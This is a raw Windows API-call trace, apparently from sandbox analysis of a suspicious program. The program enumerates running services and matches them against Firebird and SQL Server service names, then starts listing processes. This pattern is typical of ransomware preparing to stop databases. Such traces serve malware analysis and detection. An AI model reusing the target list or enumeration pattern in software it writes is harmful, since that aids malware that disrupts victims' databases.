	[0049.554] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c76) returned 0x3bfae80
	[0049.554] EnumServicesStatusExW (in: hSCManager=0x68fc88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bfae80, cbBufSize=0x1c76, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bfae80, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0049.555] CloseServiceHandle (hSCObject=0x68fc88) returned 1
	[0049.555] lstrlenW (lpString="Appinfo") returned 7
	[0049.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0049.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0049.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0049.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0049.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0049.555] lstrlenW (lpString="AppXSvc") returned 7
	[0049.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0049.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0049.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0049.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0049.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0049.555] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0049.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0049.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0049.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0049.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0049.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0049.555] lstrlenW (lpString="Audiosrv") returned 8
	[0049.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0049.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0049.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0049.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0049.556] lstrlenW (lpString="BFE") returned 3
	[0049.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0049.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0049.556] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0049.556] lstrlenW (lpString="BITS") returned 4
	[0049.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0049.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0049.556] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0049.556] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0049.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0049.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0049.556] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0049.556] lstrlenW (lpString="CDPSvc") returned 6
	[0049.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0049.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0049.556] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0049.556] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0049.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0049.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0049.556] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0049.556] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0049.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0049.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0049.556] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0049.556] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0049.557] lstrlenW (lpString="CryptSvc") returned 8
	[0049.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0049.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0049.557] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0049.557] lstrlenW (lpString="DcomLaunch") returned 10
	[0049.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0049.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0049.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0049.557] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0049.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0049.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0049.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0049.557] lstrlenW (lpString="Dhcp") returned 4
	[0049.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0049.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0049.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0049.557] lstrlenW (lpString="Dnscache") returned 8
	[0049.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0049.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0049.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0049.557] lstrlenW (lpString="DoSvc") returned 5
	[0049.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0049.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0049.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0049.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0049.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0049.558] lstrlenW (lpString="DPS") returned 3
	[0049.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0049.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0049.558] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0049.558] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0049.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0049.558] lstrlenW (lpString="DusmSvc") returned 7
	[0049.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0049.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0049.558] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0049.558] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0049.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0049.558] lstrlenW (lpString="EventLog") returned 8
	[0049.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0049.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0049.558] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0049.558] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0049.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0049.558] lstrlenW (lpString="EventSystem") returned 11
	[0049.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0049.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0049.558] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0049.558] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0049.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0049.558] lstrlenW (lpString="FontCache") returned 9
	[0049.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0049.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0049.558] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0049.558] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0049.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0049.558] lstrlenW (lpString="gpsvc") returned 5
	[0049.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0049.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0049.558] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0049.558] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0049.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0049.559] lstrlenW (lpString="iphlpsvc") returned 8
	[0049.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0049.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0049.559] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0049.559] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0049.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0049.559] lstrlenW (lpString="KeyIso") returned 6
	[0049.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0049.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0049.559] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0049.559] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0049.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0049.559] lstrlenW (lpString="LanmanServer") returned 12
	[0049.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0049.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0049.559] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0049.559] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0049.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0049.559] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0049.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0049.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0049.559] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0049.559] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0049.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0049.559] lstrlenW (lpString="lfsvc") returned 5
	[0049.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0049.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0049.559] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0049.559] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0049.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0049.559] lstrlenW (lpString="lmhosts") returned 7
	[0049.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0049.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0049.559] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0049.559] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0049.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0049.560] lstrlenW (lpString="LSM") returned 3
	[0049.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0049.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0049.560] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0049.560] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0049.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0049.560] lstrlenW (lpString="MpsSvc") returned 6
	[0049.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0049.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0049.560] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0049.560] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0049.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0049.560] lstrlenW (lpString="NcbService") returned 10
	[0049.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0049.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0049.560] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0049.560] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0049.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0049.560] lstrlenW (lpString="netprofm") returned 8
	[0049.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0049.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0049.560] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0049.560] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0049.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0049.560] lstrlenW (lpString="NlaSvc") returned 6
	[0049.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0049.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0049.560] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0049.560] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0049.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0049.560] lstrlenW (lpString="nsi") returned 3
	[0049.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0049.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0049.560] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0049.560] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0049.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0049.560] lstrlenW (lpString="PcaSvc") returned 6
	[0049.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0049.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0049.561] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0049.561] lstrlenW (lpString="PlugPlay") returned 8
	[0049.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0049.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0049.561] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0049.561] lstrlenW (lpString="Power") returned 5
	[0049.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0049.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0049.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0049.561] lstrlenW (lpString="ProfSvc") returned 7
	[0049.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0049.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0049.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0049.561] lstrlenW (lpString="RpcEptMapper") returned 12
	[0049.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0049.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0049.561] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0049.561] lstrlenW (lpString="RpcSs") returned 5
	[0049.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0049.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0049.561] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0049.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0049.561] lstrlenW (lpString="SamSs") returned 5
	[0049.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0049.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0049.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0049.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0049.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0049.562] lstrlenW (lpString="Schedule") returned 8
	[0049.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0049.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0049.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0049.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0049.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0049.562] lstrlenW (lpString="SecurityHealthService") returned 21
	[0049.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0049.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0049.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0049.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0049.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0049.562] lstrlenW (lpString="SENS") returned 4
	[0049.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0049.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0049.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0049.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0049.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0049.562] lstrlenW (lpString="ShellHWDetection") returned 16
	[0049.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0049.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0049.562] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0049.562] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0049.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0049.562] lstrlenW (lpString="Spooler") returned 7
	[0049.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0049.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0049.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0049.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0049.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0049.563] lstrlenW (lpString="SSDPSRV") returned 7
	[0049.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0049.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0049.563] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0049.563] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0049.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0049.563] lstrlenW (lpString="StateRepository") returned 15
	[0049.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0049.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0049.563] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0049.563] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0049.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0049.563] lstrlenW (lpString="SysMain") returned 7
	[0049.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0049.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0049.563] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0049.563] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0049.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0049.563] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0049.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0049.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0049.563] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0049.563] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0049.563] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3bfae80 | out: hHeap=0x650000) returned 1
	[0049.563] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f0
	[0050.048] Process32FirstW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0050.049] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0050.049] lstrlenW (lpString="System") returned 6
	[0050.049] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0050.050] lstrlenW (lpString="smss.exe") returned 8
	[0050.050] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0050.051] lstrlenW (lpString="csrss.exe") returned 9
